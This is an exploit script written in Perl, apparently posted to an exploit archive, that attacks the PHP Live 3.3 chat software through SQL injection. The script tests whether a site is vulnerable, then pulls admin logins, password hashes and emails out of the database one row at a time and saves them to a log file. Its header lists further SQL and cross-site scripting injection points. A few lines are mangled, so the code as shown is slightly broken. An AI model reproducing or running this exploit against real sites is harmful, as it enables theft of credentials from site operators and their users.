========================================= PHP Live 3.3 Remote SQL Injection Exploit ========================================= #!/usr/bin/perl -w ############################################################################ # # Exploit Title: PHP Live 3.3 # Date: 01/08/2010 # Author: TA4G - [email protected] # Vendor: phplivesupport.com # Version: 3.3 # Google dork : n/a # Platform / Tested on: windows 7 # Category: webapps/0day # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Gr33tz to ### ArHack.NeT ### # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Usage: exploit.pl # Example: perl exploit.pl http://site.com phplive TA4G # # path and username are optional. You can set them to 'no' if you dont # know any information, or remove this parameters like: # # perl exploit.pl http://site.com no adalbert # perl exploit.pl http://site.com # perl exploit.pl http://site.com no no # ########################################################################### # # Other bugs in: # /phplive/admin/index.php?sid=[sid]&deptid=1+[SQL BLIND INJECTION] # /phplive/request.php?l=admin&x=1+[SQL BLIND INJECTION] # # /phplive/admin/index.php?sid=1[sid]&deptid=&search_string="> # /phplive/message_box.php?theme=&l=admin&x=1&deptid=1"> # ########################################################################### # # Demonstration: # # perl exploit.pl http://site.com phplive no # ... # >-------Exploit Intro-------< # ----------------------------- # Logging: # ----------------------------- #[*] Vulnerable: Yes #[*] Injecting: Done #[*] ----------- #[*] Userdata: # # bla:hashashashashash:[email protected] # admin:hashashashasha:[email protected] # #[*] Writing logfile #[*] Exit # # ############################################################################ # Setting crappy vars use LWP::Simple; $link = shift or die("\n\nRead the fuckn manual\n\n"); $path = shift or $path = '/phplive'; $user = shift or $user = 'admin'; $link = 'http://'.$link if($link !~ /^http:\/\//); $add = '/message_box.php?theme=&l='.$user.'&x=1&deptid=-1'; ($pw,$count) = (0x37635345,0); #*********** Baby protection ************# print "Please insert anti-baby-code:"; $baby = ; die "\n\nwait a few years please...\n\n" if ($pw != $baby); intro(); print "\nLOGGING:\n----------------------------------------\n"; #*********** Vulnerable-Check ************# $resp = get($link.'/'.$path.$add.'+union+(select+1'.',1'x14 .',777777777,1,1)-- -'); ($resp =~ m/

777777777<\/p>/i) ? print "[*] Vulnerable: Yes\n[*] Injecting: Done\n[*] --------------\n" : die("[*] Vulnerable: No\n[*] Exit\n"); #*********** Injecting Nanobots ***********# print "[*] Userdata: \n\n"; $infostring = 'concat_ws(0x3a,777777,version(),login,password,email)'; while(1) { $resp = get($link."/".$path.$add."+union+(select+1".",1"x14 .",".$infostring.",0,0+from+chat_admin+limit+".$count.",1)-- -"); $resp =~ m/777777:(.*)<\/p>/i or last; @temp = split(":",$1); push(@data,($temp[1].":".$temp[2].":".$temp[3])); print $temp[1].":".$temp[2].":".$temp[3]."\n"; $count++; } #*********** Write2file *****************# $text = "[TA4G] [PHP Live 3.3] SQL Injection Exploit:\n\n[*] Link: ".$link."/".$path.$add."\n". "[*] mySQL Version: ".substr($temp[0],0,3)."\n[*] Userdata: \n"; open(LULZ,">>log.txt"); print LULZ $text; foreach(@data) {print LULZ $_."\n";} close LULZ; print "\n[*] Writing Logfile\n[*] Exit\n\n\n"; #************ Leet intro **************# sub intro { print q { --------------------------------------- *************************************** * * [PHP Live 3.3] SQL Injection Exploit * written by TA4G * ----------- * Usage: exploit.pl * * path and user are optional * *************************************** --------------------------------------- }; } # 0day.today [2018-01-08] #

Query Builder